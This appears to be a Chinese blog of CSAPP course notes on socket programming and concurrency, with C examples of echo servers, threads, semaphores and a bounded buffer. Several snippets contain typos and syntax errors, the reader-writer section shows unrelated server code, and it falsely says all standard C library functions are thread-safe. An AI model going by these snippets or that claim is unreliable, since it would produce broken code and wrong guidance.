	Provides basic naming scheme and unreliable delivery capability of packets (datagrams) from host-to-host





	UDP (Unreliable Datagram Protocol)
	Uses IP to provide unreliable datagram delivery from process-to-process





	TCP (Transmission Control Protocol)
	Uses IP to provide reliable byte streams from process-to-process over connections







Accessed via a mix of Unix file I/O and functions from sockets interface.（很多东西不是很好翻译，用原文比较准确）


	主机有 32 位的 IP 地址 - 23.235.46.133
	IPv4 - 32 位地址，IPv6 - 128 位地址





	IP 地址被映射到域名 - 23.235.46.133 映射到 www.wdxtub.com

	不同主机之间的进程，可以通过 connection 来交换数据



IP 地址

我们会用一个叫做 IP address struct 的东西来存储，并且 IP 地址是以 network byte order（也就是大端）来进行存储的

// Internet address structure
struct in_addr {
    uint32_t s_addr;    // network byte order (big-endian)
}


为了方便读，一般用下面的形式来进行表示：

IP 地址：0x8002C2F2 = 128.2.194.242

具体的转换可以使用 getaddrinfo 和 getnameinfo 函数

Internet 域名

这里主要需要了解的就是 Domain Naming System(DNS) 的概念，用来做 IP 地址到域名的映射。具体可以用 nslookup 命令来查看，下面是一些例子

$ hostname
wdxtub.local

$ nslookup www.wdxtub.com
Server:		8.8.8.8
Address:	8.8.8.8#53

Non-authoritative answer:
www.wdxtub.com	canonical name = wdxtub.github.io.
wdxtub.github.io	canonical name = github.map.fastly.net.
Name:	github.map.fastly.net
Address: 23.235.39.133

$ nslookup www.twitter.com
Server:		8.8.8.8
Address:	8.8.8.8#53

Non-authoritative answer:
www.twitter.com	canonical name = twitter.com.
Name:	twitter.com
Address: 199.16.156.6
Name:	twitter.com
Address: 199.16.156.198
Name:	twitter.com
Address: 199.16.156.230
Name:	twitter.com
Address: 199.16.156.70


Internet 连接

客户端和服务器通过连接(connection)来发送字节流，特点是：


	点对点: 连接一对进程

	全双工: 数据同时可以在两个方向流动

	可靠: 字节的发送的顺序和收到的一致



Socket 则可以认为是 connection 的 endpoint，socket 地址是一个 IPaddress:port 对。

Port（端口）是一个 16 位的整数，用来标识不同的进程，利用不同的端口来连接不同的服务：


	Ephemeral port: Assigned automatically by client kernel when client makes a connection request

	Well-known port: Associated with some service provided by a server（在 linux 系统上可以在 /etc/services 中查看具体的信息）
	echo server: 7/echo

	ssh server: 22/ssh

	email server: 25/smtp

	web servers: 80/http







Socket 接口

一系列系统级的函数，和 Unix I/O 配合构造网络应用（在所有的现代操作系统上都可用）。

对于 kernel 来说，socket 是 endpoint of communication；对于应用程序来说，socket 是 file descriptor，用来读写（回忆一下，STDIN 和 STDOUT 也是 file descriptor）。客户端和服务器通过读写对应的 socket descriptor 来进行。

具体连接的过程可以参考下图，注意，这一讲不做过多细节探讨，相信相关信息请参考书本对应内容。
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简单服务器实现

架构总览

写服务器，最重要的就是理清思路，上节课我们介绍了诸多概念，尤其是最后提到的 getaddrinfo 和 getnameinfo，都是我们在搭建过程中必不可少的工具。参考上面的流程图，整个的工作流程有 5 步：


	开启服务器（open_listenfd 函数，做好接收请求的准备）
	getaddrinfo: 设置服务器的相关信息，具体可以参见 图1&2

	socket: 创建 socket descriptor，也就是之后用来读写的 file descriptor
	int socket(int domain, int type, int protocol)

	例如 int clientfd = socket(AF_INET, SOCK_STREAM, 0);

	AF_INET 表示在使用 32 位 IPv4 地址

	SOCK_STREAM 表示这个 socket 将是 connection 的 endpoint

	前面这种写法是协议相关的，建议使用 getaddrinfo 生成的参数来进行配置，这样就是协议无关的了





	bind: 请求 kernel 把 socket address 和 socket descriptor 绑定
	int bind(int sockfd, SA *addr, socklen_t addrlen);

	The process can read bytes that arrive on the connection whose endpoint is addr by reading from descriptor sockfd

	Similarly, writes to sockfd are transferred along connection whose endpoint is addr

	最好是用 getaddrinfo 生成的参数作为 addr 和 addrlen 





	listen: 默认来说，我们从 socket 函数中得到的 descriptor 默认是 active socket（也就是客户端的连接），调用 listen 函数告诉 kernel 这个 socket 是被服务器使用的
	int listen(int sockfd, int backlog);

	把 sockfd 从 active socket 转换成 listening socket，用来接收客户端的请求

	backlog 的数值表示 kernel 在接收多少个请求之后（队列缓存起来）开始拒绝请求





	[*]accept: 调用 accept 函数，开始等待客户端请求
	int accept(int listenfd, SA *addr, int *addrlen);

	等待绑定到 listenfd 的连接接收到请求，然后把客户端的 socket address 写入到 addr，大小写入到 addrlen

	返回一个 connected descriptor 用来进行信息传输（类似 Unix I/O）

	具体的过程可以参考 图3









	开启客户端（open_clientfd 函数，设定访问地址，尝试连接）
	getaddrinfo: 设置客户端的相关信息，具体可以参见 图1&2

	socket: 创建 socket descriptor，也就是之后用来读写的 file descriptor

	connect: 客户端调用 connect 来建立和服务器的连接
	int connect(int clientfd, SA *addr, socklen_t addrlen);

	尝试与在 socker address addr 的服务器建立连接

	如果成功 clientfd 可以进行读写

	connection 由 socket 对描述 (x:y, addr.sin_addr:addr.sin_port)

	x 是客户端地址，y 是客户端临时端口，后面的两个是服务器的地址和端口

	最好是用 getaddrinfo 生成的参数作为 addr 和 addrlen 









	交换数据（主要是一个流程循环，客户端向服务器写入，就是发送请求；服务器向客户端写入，就是发送响应）
	[Client]rio_writen: 写入数据，相当于向服务器发送请求

	[Client]rio_readlineb: 读取数据，相当于从服务器接收响应

	[Server]rio_readlineb: 读取数据，相当于从客户端接收请求

	[Server]rio_writen: 写入数据，相当于向客户端发送响应





	关闭客户端（主要是 close）
	[Client]close: 关闭连接





	断开客户端（服务接收到客户端发来的 EOF 消息之后，断开已有的和客户端的连接）
	[Server]rio_readlineb: 收到客户端发来的关闭连接请求

	[Server]close: 关闭与客户端的连接







Client open_clientfd

用来建立和服务器的连接，协议无关

int open_clientfd(char *hostname, char *port) {
    int clientfd;
    struct addrinfo hints, *listp, *p;
    
    // Get a list of potential server address
    memset(&hints, 0, sizeof(struct addrinfo));
    hints.ai_socktype = SOCK_STREAM; // Open a connection
    hints.ai_flags = AI_NUMERICSERV; // using numeric port arguments
    hints.ai_flags |= AI_ADDRCONFIG; // Recommended for connections
    getaddrinfo(hostname, port, &hints, &listp);
    
    // Walk the list for one that we can successfully connect to
    // 如果全部都失败，才最终返回失败（可能有多个地址）
    for (p = listp; p; p = p->ai_next) {
        // Create a socket descriptor
        // 这里使用从 getaddrinfo 中得到的参数，实现协议无关
        if ((clientfd = socket(p->ai_family, p->ai_socktype,
                               p->ai_protocol)) < 0)
            continue; // Socket failed, try the next
        
        // Connect to the server
        // 这里使用从 getaddrinfo 中得到的参数，实现协议无关
        if (connect(clientfd, p->ai_addr, p->ai_addrlen) != -1)
            break; // Success
        
        close(clientfd); // Connect failed, try another
    }
    
    // Clean up
    freeaddrinfo(listp);
    if (!p) // All connections failed
        return -1;
    else // The last connect succeeded
        return clientfd;
}


Server open_listenfd

创建 listening descriptor，用来接收来自客户端的请求，协议无关

int open_listenfd(char *port){
    struct addrinfo hints, *listp, *p;
    int listenfd, optval=1;
    
    // Get a list of potential server addresses
    memset(&hints, 0, sizeof(struct addrinfo));
    hints.ai_socktype = SOCK_STREAM; // Accept connection
    hints.ai_flags = AI_PASSIVE | AI_ADDRCONFIG; // on any IP address
    hints.ai_flags |= AI_NUMERICSERV; // using port number
    // 因为服务器不需要连接，所以原来填写地址的地方直接是 NULL
    getaddrinfo(NULL, port, &hints, &listp); 
    
    // Walk the list for one that we can successfully connect to
    // 如果全部都失败，才最终返回失败（可能有多个地址）
    for (p = listp; p; p = p->ai_next) {
        // Create a socket descriptor
        // 这里使用从 getaddrinfo 中得到的参数，实现协议无关
        if ((listenfd = socket(p->ai_family, p->ai_socktype,
                               p->ai_protocol)) < 0)
            continue; // Socket failed, try the next
        
        // Eliminates "Address already in use" error from bind
        setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR), 
                    (const void *)&optval, sizeof(int));
        
        // Bind the descriptor to the address
        if (bind(listenfd, p->ai_addr, p->ai_addrlen) == 0)
            break; // Success
        
        close(listenfd); // Bind failed, try another
    }
    
    // Clean up
    freeaddrinfo(listp);
    if (!p) // No address worked
        return -1;
    
    // Make it a listening socket ready to accept connection requests
    if (listen(listenfd, LISTENQ) < 0) {
        close(listenfd);
        return -1;
    }
    return listenfd;
}


简单的 socket 服务器实例

客户端 Echo Client

这个客户端做的事情很简单，就是把一段用户输入的文字发送到服务器，然后再把从服务器接收到的内容显示到输出中，具体可以参见注释

// echoclient.c
#include "csapp.h"

int main (int argc, char **argv) {
    int clientfd;
    char *host, *port, buf[MAXLINE];
    rio_t rio;
    
    host = argv[1];
    port = argv[2];
    
    // 建立连接（前面已经详细介绍）
    clientfd = Open_clientfd(host, port);
    Rio_readinitb(&rio, clientfd);
    
    while (Fgets(buf, MAXLINE, stdin) != NULL) {
        // 写入，也就是向服务器发送信息
        Rio_writen(clientfd, buf, strlen(buf));
        // 读取，也就是从服务器接收信息
        Rio_readlineb(&rio, buf, MAXLINE);
        // 把从服务器接收的信息显示在输出中
        Fputs(buf, stdout);
    }
    Close(clientfd);
    exit(0);
}


服务器 Iterative Echo Server

服务器做的工作也很简单，接收到从客户端发送的信息，然后返回一个一模一样的。具体参加注释。

// echoserveri.c
#include "csapp.h"
void echo(int connfd);

int main(int argc, char **argv){
    int listenfd, connfd;
    socklen_t clientlen;
    struct sockaddr_storage clientaddr; // Enough room for any addr
    char client_hostname[MAXLINE], client_port[MAXLINE];
    
    // 开启监听端口，注意只开这么一次
    listenfd = Open_listenfd(argv[1]);
    while (1) {
        // 需要具体的大小
        clientlen = sizeof(struct sockaddr_storage); // Important!
        // 等待连接
        connfd = Accept(listenfd, (SA *)&clientaddr, &clientlen);
        // 获取客户端相关信息
        Getnameinfo((SA *) &clientaddr, clientlen, client_hostname,
                     MAXLINE, client_port, MAXLINE, 0);
        printf("Connected to (%s, %s)\n", client_hostname, client_port);
        // 服务器具体完成的工作
        echo(coonfd);
        Close(connfd);
    }
    exit(0);
}

void echo(int connfd) {
    size_t n;
    char buf[MAXLINE];
    rio_t rio;
    
    // 读取从客户端传输过来的数据
    Rio_readinitb(&rio, connfd);
    while((n = Rio_readlineb(&rio, buf, MAXLINE)) != 0) {
        printf("server received %d bytes\n", (int)n);
        // 把从 client 接收到的信息再写回去
        Rio_writen(connfd, buf, n);
    }
}


总结

这一讲中，我们了解了网络的基本架构以及常见的网络协议，并通过编写 web 服务器掌握了基本的网络相关编程技巧。

因为是用 C 语言来写，实现起来比较繁琐，但是对于理解整个网络的工作机制是非常有好处的，相信之后在用更高级语言来操作网络的时候，能够更加得心应手，毕竟知其所以然了嘛。
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        进程和线程有什么差别？超线程又是什么意思？为什么多线程能够提高程序执行的速度？是所有情况都适用吗？并行程序有没有什么限制？这一讲我们来聊聊并行与同步这两个『继往开来』的概念。在今后的学习中，大家一定会不止一次发现，很多问题说来说去，其实就是并行与同步的问题。




系列文章

读薄部分


	零 系列概览

	壹 数据表示 - 不同的数据是如何存储与表示的

	贰 机器指令与程序优化 - 控制流、过程调用、缓冲区溢出

	叁 内存与缓存 - 内存层级与缓存机制

	肆 链接 - 不同的代码如何协同

	伍 异常控制流 - 不同进程间的切换与沟通

	陆 系统输入输出 - 怎么把不同的内容发送到不同的地方

	柒 虚拟内存与动态内存分配 - 现代计算机中内存的奥秘

	捌 网络编程 - 从最原始套接字彻底理解网络编程

	玖 并行与同步 - 协同工作中最重要的两个问题



读厚部分


	实验概览

	I Data Lab - 位操作，数据表示

	II Bomb Lab - 汇编，栈帧与 gdb

	III Attack Lab - 漏洞是如何被攻击的

	IV Cache Lab - 实现一个缓存系统来加速计算

	V Shell Lab - 实现一个 shell

	VI Malloc Lab - 实现一个动态内存分配

	VII Proxy Lab - 实现一个多线程带缓存的代理服务器

	知识点复习



学习目标


	理解并行的几个层次：进程、事件、线程

	了解 Posix 标准

	了解同步问题产生的背景，以及信号量的工作机制

	了解『生产者-消费者问题』和『读者-写者问题』

	理解线程安全和一致性问题



并行方法

首先一定要清楚地意识到：『并行编程不简单』！最主要的原因恐怕就是我们自己的大脑，人脑实际上是一个非常精妙的系统，所采取的并行策略是一明一暗两条线，但是对于明线来说，是线性的，于是就和计算机中并行的概念冲突了。另外时间这个概念也是线性的，这就导致了想要处理好并行程序可能出现的各种问题几乎是不可能的（或者常常要出错）。

常见的错误有仨：竞争条件[2]、死锁[3]和活锁[4]，尤其是在现在的多核处理器架构中，更容易出现这类并行问题。

我们前面实现的服务器，一次只能处理一个请求，只有当前的请求处理完了，才能继续处理下一个。
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这里具体讲解一下：Client 1 向 Server 发送连接请求(connect)，Server 接受(accept)之后开始等待 Client 1 发送请求（也就是开始 read），这之后 Client 1 发送具体的内容(write)后转为等待响应(call read)，Server 的 read 接收到了内容之后，发送响应(write) 后仅需进入等待(read)，而 Client 1 接收到了响应(ret read)，最后根据用户指令退出(close)。

而只有当 Client 1 断开之后，Server 才会处理 Client 2 的请求，从图中也可以看到这一点。具体是在哪里等待呢？因为 TCP 会缓存，所以实际上 Client 2 在 ret read 之前进行等待，为了解决这个问题，我们可以使用并行的策略，同时处理不同客户端发来的请求。

总体来说，根据系统机制的层级和实现方式，有下面三大类方法：


	基于进程
	内核自动管理多个逻辑流

	每个进程有其私有的地址空间（也就是说进程切换的时候需要保存和载入数据）





	基于事件
	由程序员手动控制多个逻辑流

	所有的逻辑流共享同一个地址空间

	这个技术称为 I/O multiplexing





	基于线程
	内核自动管理多个逻辑流

	每个线程共享地址空间

	属于基于进程和基于事件的混合体







基于进程

为每个客户端分离出一个单独的进程，是建立了连接之后才开始并行，连接的建立还是串行的。

具体的代码为


void sigchld_handler(int sig){
    while (waitpid(-1, 0, WNOHANG) > 0)
        ;
    return;
    // Reap all zombie children
}

int main(int argc, char **argv) {
    int listenfd, connfd;
    socklen_t clientlen;
    struct sockaddr_storage clientaddr;
    
    Signal(SIGCHLD, sigchld_handler);
    listenfd = Open_listenfd(argv[1]);
    while (1) {
        clientlen = sizeof(struct sockaddr_storage);
        connfd = Accept(listenfd, (SA *) &clientaddr, &clientlen);
        if (Fork() == 0) {
            Close(listenfd); // Child closes its listening socket
            echo(connfd); // Child services client
            Close(connfd); // Child closes connection with client
            exit(0); // Child exits
        }
        Close(connfd); // Parent closes connected socket (important!)
    }
}


这里用文字描述一下流程：首先，服务器在 accept  函数中（对应 listenfd）等待连接请求，然后客户端通过调用 connect 函数发送连接请求，最后服务器在 accept 中返回 connfd 并且 fork 一个子进程来处理客户端连接，连接建立在 listenfd 和 connfd 间。

整个执行模型中：


	每个客户端由独立子进程处理
	必须回收僵尸进程，来避免严重的内存泄露





	不同进程之间不共享数据

	父进程和子进程都有 listenfd 和 connfd，所以在父进程中需要关闭 connfd，在子进程中需要关闭 listenfd
	内核会保存每个 socket 的引用计数，在 fork 之后 refcnt(connfd) = 2，所以在父进程需要关闭 connfd，这样在子进程结束后引用计数才会为零







基于进程的方式可以并行处理连接，除了共享已打开的 file table 外，无论是 descriptor 还是全局变量都不共享，不大容易造成同步问题，比较简单粗暴。但是带来了额外的进程管理开销，并且进程间通讯不便，需要使用 IPC (interprocess communication)。

基于事件

服务器会维护一个 connection 数组，包含若干 connfd，每个输入请求都被当做事件，然后每次从已有的事件中选取一个进行处理。

基于实践的好处在于只使用一个逻辑控制流和地址空间，可以利用调试器进行单步调试（其他的方法因为并行的缘故基本没办法调试），也不会有进程/线程控制的开销。但是相比之下，代码的逻辑复杂度会比较高，很难进行精细度比较高的并行，也无法发挥多核处理器的全部性能。

基于线程

和基于进程的方法非常相似，唯一的区别是这里用线程。进程其实是比较『重』的，一个进程包括进程上下文、代码、数据和栈。如果从线程的角度来描述，一个进程则包括线程、代码、数据和上下文。也就是说，线程作为单独可执行的部分，被抽离出来了，一个进程可以有多个线程。

每个线程有自己的线程 id，有自己的逻辑控制流，也有自己的用来保存局部变量的栈（其他线程可以修改）但是会共享所有的代码、数据以及内核上下文。

和进程不同的是，线程没有一个明确的树状结构（使用 fork 是有明确父进程子进程区分的）。和进程中『并行』的概念一样，如果两个线程的控制流在时间上有『重叠』（或者说有交叉），那么就是并行的。

进程和线程的差别已经被说了太多次，这里简单提一下。相同点在于，它们都有自己的逻辑控制流，可以并行，都需要进行上下文切换。不同点在于，线程共享代码和数据（进程通常不会），线程开销比较小（创建和回收）

POSIX Threads

Pthreads 是一个线程库，基本上只要是 C 程序能跑的平台，都会支持这个标准。Pthreads定义了一套C语言的类型、函数与常量，它以 pthread.h 头文件和一个线程库实现。

Pthreads API 中大致共有 100 个函数调用，全都以 pthread_ 开头，并可以分为四类：


	线程管理，例如创建线程，等待(join)线程，查询线程状态等。

	Mutex：创建、摧毁、锁定、解锁、设置属性等操作

	条件变量（Condition Variable）：创建、摧毁、等待、通知、设置与查询属性等操作

	使用了读写锁的线程间的同步管理



POSIX 的 Semaphore API 可以和 Pthreads 协同工作，但这并不是 Pthreads 的标准。因而这部分API是以 sem_ 打头，而非 pthread_。

我们用线程的方式重写一次之前的 Echo Server

// Thread routine
void *thread(void *vargp){
    int connf = *((int *)vargp);
    // detach 之后不用显式 join，会在执行完毕后自动回收
    Pthread_detach(pthread_self());
    Free(vargp);
    echo(connfd);
    // 一定要记得关闭！
    Close(connfd);
    return NULL;
}

int main(int argc, char **argv) {
    int listenfd, *connfdp;
    socklen_t clientlen;
    struct sockaddr_storage clientaddr;
    pthread_t tid;
    
    listenfd = Open_listenfd(argv[1]);
    while (1) {
        clientlen = sizeof(struct sockaddr_storage);
        // 这里使用新分配的 connected descriptor 来避免竞争条件
        connfdp = Malloc(sizeof(int));
        *connfdp = Accept(listenfd, (SA *) & clientaddr, &clientlen);
        Pthread_create(&tid, NULL, thread, connfdp);
    }
}


在这个模型中，每个客户端由单独的线程进行处理，这些线程除了线程 id 之外，共享所有的进程状态（但是每个线程有自己的局部变量栈）。

使用线程并行，能够在不同的线程见方便地共享数据，效率也比进程高，但是共享变量可能会造成比较难发现的程序问题，很难调试和测试。

小结

这里简单归纳下三种并行方法的特点：


	基于进程
	难以共享资源，但同时也避免了可能带来的共享问题

	添加/移除进程开销较大 





	基于事件
	非常底层的实现机制

	使用全局控制而非调度

	开销比较小

	但是无法提供精细度较高的并行

	无法充分利用多核处理器 





	基于线程
	容易共享资源，但也容易出现问题

	开销比进程小

	对于具体的调度可控性较低

	难以调试（因为事件发生的顺序不一致）







同步

共享变量

在介绍同步之前，我们需要弄清楚一个定义，什么是 Shared variable（共享变量）？


A variable x is shared if and only if multiple threads reference some instance of x



另外一个需要注意的是线程的内存模型，因为概念上的模型和实际的模型有一些差异，非常容易导致错误。

在概念上的模型中：


	多个线程在一个单独进程的上下文中运行

	每个线程有单独的线程上下文（线程 ID，栈，栈指针，PC，条件码，GP 寄存器）

	所有的线程共享剩下的进程上下文
	Code, data, heap, and shared library segments of the process virtual address space

	Open files and installed handlers







在实际的模型中，寄存器的值虽然是隔离且被保护的，但是在栈中的值并不是这样的（其他线程也可以访问）。

我们来看一个简单的例子：

char **ptr; // 全局变量

int main()
{
    long i;
    pthread_t tid;
    char *msgs[2] = {
        "Good Day!",
        "Bad Day!"
    };
}

ptr = msgs;
for (i = 0; i < 2; i++)
    Pthread_create(&tid, NULL, thread, (void *)i);
Pthread_exit(NULL);
}

void *thread(void *vargp)
{
    long myid = (long)vargp;
    static int cnt = 0;
    
    // 这里每个线程都可以访问 ptr 这个全局变量
    printf("[%ld]: %s (cnt=%d)\n", myid, ptr[myid], ++cnt);
    return NULL;
}


这里有几个不同类型的变量，我们一一来看一下：


	全局变量：在函数外声明的变量
	虚拟内存中有全局唯一的一份实例





	局部变量：在函数内声明，且没有用 static 关键字
	每个线程的栈中都保存着对应线程的局部变量





	局部静态变量：在函数内用 static 关键字声明的变量
	虚拟内存中有全局唯一的一份实例







具体来分析下，一个变量只有在被多个线程引用的时候才算是共享，在这个例子中，共享变量有 ptr, cnt 和 msgs；非共享变量有 i 和 myid。

关键区域 Critical Section

这一部分我们用一个具体的例子来进行讲解，看看如何用多个线程来计数：

// 全局共享变量
volatile long cnt = 0; // 计数器

int main(int argc, char **argv)
{
    long niters;
    pthread_t tid1, tid2;
    
    niter2 = atoi(argv[1]);
    Pthread_create(&tid1, NULL, thread, &niters);
    Pthread_create(&tid2, NULL, thread, &niters);
    Pthread_join(tid1, NULL);
    Pthread_join(tid2, NULL);
    
    // 检查结果
    if (cnt != (2 * niters))
        printf("Wrong! cnt=%ld\n", cnt);
    else
        printf("Correct! cnt=%ld\n", cnt);
    exit(0);
}


运行之后发现不是每次都出现同样的结果，我们把操作 cnt 的部分抽出来单独看一看：

线程中循环部分的代码为：

for (i = 0; i < niters; i++)
    cnt++;


对应的汇编代码为

    # 以下四句为 Head 部分，记为 H
    movq    (%rdi), %rcx
    testq   %rcx, %rcx
    jle     .L2
    movl    $0, %eax
.L3:
    movq    cnt(%rip), %rdx # 载入 cnt，记为 L
    addq    $1, %rdx        # 更新 cnt，记为 U
    movq    %rdx, cnt(%rip) # 保存 cnt，记为 S
    # 以下为 Tail 部分，记为 T
    addq    $1, %rax
    cmpq    %rcx, %rax
    jne     .L3
.L2:


这里有一点需要注意，cnt 使用了 volatile 关键字声明，意思是不要在寄存器中保存值，无论是读取还是写入，都要对内存操作（还记得 write-through 吗？）。这里把具体的步骤分成 5 步：HLUST，尤其要注意 LUS 这三个操作，这三个操作必须在一次执行中完成，一旦次序打乱，就会出现问题，不同线程拿到的值就不一定是最新的。

更多相关内容，可以参考Synchronization - Basics，其中提到了利用图表来描述关键区域的方法，感兴趣可以看一下。

信号量

针对关键区域的问题，我们可以考虑用信号量来限制程序的执行顺序。计数信号量具备两种操作动作，称为 V（又称signal()）与 P（wait()）。 V 操作会增加信号量 S 的数值，P 操作会减少。运作方式：


	初始化，给与它一个非负数的整数值。

	运行 P，信号量 S 的值将被减少。企图进入临界区块的进程，需要先运行 P。当信号量 S 减为负值时，进程会被挡住，不能继续；当信号量S不为负值时，进程可以获准进入临界区块。

	运行 V，信号量 S 的值会被增加。结束离开临界区块的进程，将会运行 V。当信号量 S 不为负值时，先前被挡住的其他进程，将可获准进入临界区块。



我们来看看如何修改可以使得前面我们的计数程序正确运行。

// 先定义信号量
volatile long cnt = 0;
sem_t mutex;

Sem_init(&mutex, 0, 1);


// 在线程中用 P 和 V 包围关键操作
for (i = 0; i < niters; i++)
{
    P(&mutex);
    cnt++;
    V(&mutex);
}


在使用线程时，脑中需要有一个清晰的分享变量的概念，共享变量需要互斥访问，而 Semaphores 是一个基础的机制。

生产者-消费者问题

[image: ]

具体的同步模型为：


	生产者等待空的 slot，把 item 存储到 buffer，并通知消费者

	消费整等待 item，从 buffer 中移除 item，并通知生产者



主要用于


	多媒体处理
	生产者生成 MPEG 视频帧，消费者进行渲染





	事件驱动的图形用户界面
	生产者检测到鼠标点击、移动和键盘输入，并把对应的事件插入到 buffer 中

	消费者从 buffer 中获取事件，并绘制到到屏幕上







接下来我们实现一个有 n 个元素 buffer，为此，我们需要一个 mutex 和两个用来计数的 semaphore：


	mutex: 用来保证对 buffer 的互斥访问

	slots: 统计 buffer 中可用的 slot 数目

	items: 统计 buffer 中可用的 item 数目



我们直接来看代码，就比较清晰了

// 头文件 sbuf.h
// 包括几个基本操作
#include "csapp.h"

typedef struct {
    int *buf;    // Buffer array
    int n;       // Maximum number of slots
    int front;   // buf[(front+1)%n] is first item
    int rear;    // buf[rear%n] is the last item
    sem_t mutex; // Protects accesses to buf
    sem_t slots; // Counts available slots
    sem_t items; // Counts available items
} sbuf_t;

void sbuf_init(sbuf_t *sp, int n);
void sbuf_deinit(sbuf_t *sp);
void sbuf_insert(sbuf_t *sp, int item);
int sbuf_remove(sbuf_t *sp);


然后是具体的实现

// sbuf.c

// Create an empty, bounded, shared FIFO buffer with n slots
void sbuf_init(sbuf_t *sp, int n) {
    sp->buf = Calloc(n, sizeof(int));
    sp->n = n;                  // Buffer holds max of n items
    sp->front = sp->rear = 0;   // Empty buffer iff front == rear
    Sem_init(&sp->mutex, 0, 1); // Binary semaphore for locking
    Sem_init(&sp->slots, 0, n); // Initially, buf has n empty slots
    Sem_init(&sp->items, 0, 0); // Initially, buf has 0 items
}

// Clean up buffer sp
void sbuf_deinit(sbuf_t *sp){
    Free(sp->buf);
}

// Insert item onto the rear of shared buffer sp
void sbuf_insert(sbuf_t *sp, int item) {
    P(&sp->slots);                        // Wait for available slot
    P(&sp->mutext);                       // Lock the buffer
    sp->buf[(++sp->rear)%(sp->n)] = item; // Insert the item
    V(&sp->mutex);                        // Unlock the buffer
    V(&sp->items);                        // Announce available item
}

// Remove and return the first tiem from the buffer sp
int sbuf_remove(sbuf_f *sp) {
    int item;
    P(&sp->items);                         // Wait for available item
    P(&sp->mutex);                         // Lock the buffer
    item = sp->buf[(++sp->front)%(sp->n)]; // Remove the item
    V(&sp->mutex);                         // Unlock the buffer
    V(&sp->slots);                         // Announce available slot
    return item;
}


读者-写者问题

是互斥问题的通用描述，具体为：


	读者线程只读取对象

	写者线程修改对象

	写者对于对象的访问是互斥的

	多个读者可以同时读取对象



常见的应用场景是：


	在线订票系统

	多线程缓存 web 代理



根据不同的读写策略，又两类读者写者问题，需要注意的是，这两种情况都可能出现 starvation。


第一类读者写者问题（读者优先）




	如果写者没有获取到使用对象的权限，不应该让读者等待

	在等待的写者之后到来的读者应该在写者之前处理

	也就是说，只有没有读者的情况下，写者才能工作




第二类读者写者问题（写者优先）




	一旦写者可以处理的时候，就不应该进行等待

	在等待的写者之后到来的读者应该在写者之后处理



具体的代码为

sbuf_t sbuf; // Shared buffer of connected descriptors


static int byte_cnt;  // Byte counter
static sem_t mutex;   // and the mutex that protects it


void echo_cnt(int connfd){
    int n;
    char buf[MAXLINE];
    rio_t rio;
    static pthread_once_t once = PTHREAD_ONCE_INIT;
    
    Pthread_once(&once, init_echo_cnt);
    Rio_readinitb(&rio, connfd);
    while ((n = Rio_readlineb(&rio, buf, MAXLINE)) != 0) {
        P(&mutex);
        byte_cnt += n;
        printf("thread %d received %d (%d total) bytes on fd %d\n",
                    (int) pthread_self(), n, byte_cnt, connfd);
        V(&mutex);
        Rio_writen(connfd, buf, n);
    }
}

static void init_echo_cnt(void){
    Sem_init(&mutex, 0, 1);
    byte_cnt = 0;
}

void *thread(void *vargp){
    Pthread_detach(pthread_self());
    while (1) {
        int connfd = sbuf_remove(&sbuf); // Remove connfd from buf
        echo_cnt(connfd);                // Service client
        Close(connfd);
    }
}

int main(int argc, char **argv) {
    int i, listenfd, connfd;
    socklen_t clientlen;
    struct sockaddr_storage clientaddr;
    pthread_t tid;
    
    listenfd = Open_listenfd(argv[1]);
    sbuf_init(&sbuf, SBUFSIZE);
    for (i = 0; i < NTHREADS; i++) // Create worker threads
        Pthread_create(&tid, NULL, thread, NULL);
    while (1) {
        clientlen = sizeof(struct sockaddr_storage);
        connfd = Accept(listenfd, (SA *)&clientaddr, &clientlen);
        sbuf_insert(&sbuf, connfd); // Insert connfd in buffer
    }
}


线程安全

在线程中调用的函数必须是线程安全的，定义为：


A function is thread-safe iff it will always produce correct results when called repeatedly from multiple concurrent threads



主要有 4 类线程不安全的函数


	不保护共享变量的函数
	解决办法：使用 P 和 V semaphore 操作

	问题：同步操作会影响性能





	在多次调用间保存状态的函数
	解决办法：把状态当做传入参数





	返回指向静态变量的指针的函数
	解决办法1：重写函数，传地址用以保存

	解决办法2：上锁，并且进行复制





	调用线程不安全函数的函数
	解决办法：只调用线程安全的函数







另一个重要的概念是 Reentrant Function，定义为：


A function is reentrant iff it accesses no shared variables when called by multiple threads



Reentrant Functions 是线程安全函数非常重要的子集，不需要同步操作，对于第二类的函数来说（上面提到的），唯一的办法就是把他们修改成 reentrant 的。

标准 C 库中的函数都是线程安全的（如 malloc, free, printf, scanf），大多数 Unix 的系统调用也都是线程安全的。

总结来看，并行编程需要注意的是：


	要有并行策略，可以把一个大任务分成若干个独立的子任务，或者用分而治之的方式来解决

	内循环最好不要有任何同步机制

	注意 Amdahl’s Law

	一致性是个大问题，无论是计算一致性还是存储一致性，都需要仔细考虑



超线程

回想一下，我们之前是如何处理 I/O 的延迟的呢？一个办法是每个客户端都由一个线程来处理，这样就不需要互相等待。现在的多核/超线程处理器提供了另外一种可能。我们不但可以并行执行多个线程，更好的是这些都是自动进行的，当然，我们也可以通过把大任务分成小任务来加速运算。

[image: ]

上图是典型的多核处理器架构，这里需要注意的是 L3 缓存（图上没有显示）和主内存都是共享的。而具体的执行计算的架构，基本的乱序执行处理器的架构为：

[image: Out-of-Order Processor Structure]

指令控制器会动态把程序转换成操作流，操作会被映射到 Functional Unit 上进行并行处理。这种情况下，一个核心处理一个线程。而在超线程的设计中，一个核心可以处理若干个线程，秘诀在于多出来了若干套指令控制流，如下图：

[image: Hyperthreading Implementation]

如果我们想要了解机器的相关信息，可以访问 /proc/cpuinfo

[image: ]

随后老师提及了两个例子，一个是并行求和，一个是并行快排，这里不赘述，如果感兴趣的话，可以自己思考一下。

总结

这一讲是本系列的最后一部分了，我们首先学习了并行的几个层次：进程、事件、线程，并了解 Posix 标准。在此基础上，针对并行编程可能产生的同步问题，使用信号量给出了简单的解决办法。之后通过『生产者-消费者问题』和『读者-写者问题』对并行和同步进行更加深入的探讨，最后介绍了线程安全和一致性问题。

终于赶在五月前完成了『读薄』系列，希望大家喜欢。
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        如果说《深入理解计算机系统》的课本是九十分的话，那么配套的实验少说得有一百五十分。完成实验的过程，也就是深入理解计算机系统的过程，真正动手去做，一是会发现『纸上得来终觉浅』，二是会意识到『知行合一』的重要性。




首先要说的是，这门课的课本，也就是《深入理解计算机系统》(CSAPP)，我是之前大致阅读过一次的，有一些笔记，但是课后的几个 lab 都没有具体实现，很多概念都属于一知半解。

这个学期在具体学习的过程中，在不断的尝试中算是彻底理解了书中的大部分概念。小至数据在内存的存放以及程序的执行机制，大到 web 服务器的编写以及并行程序的设计，都有了更加透彻的认知。

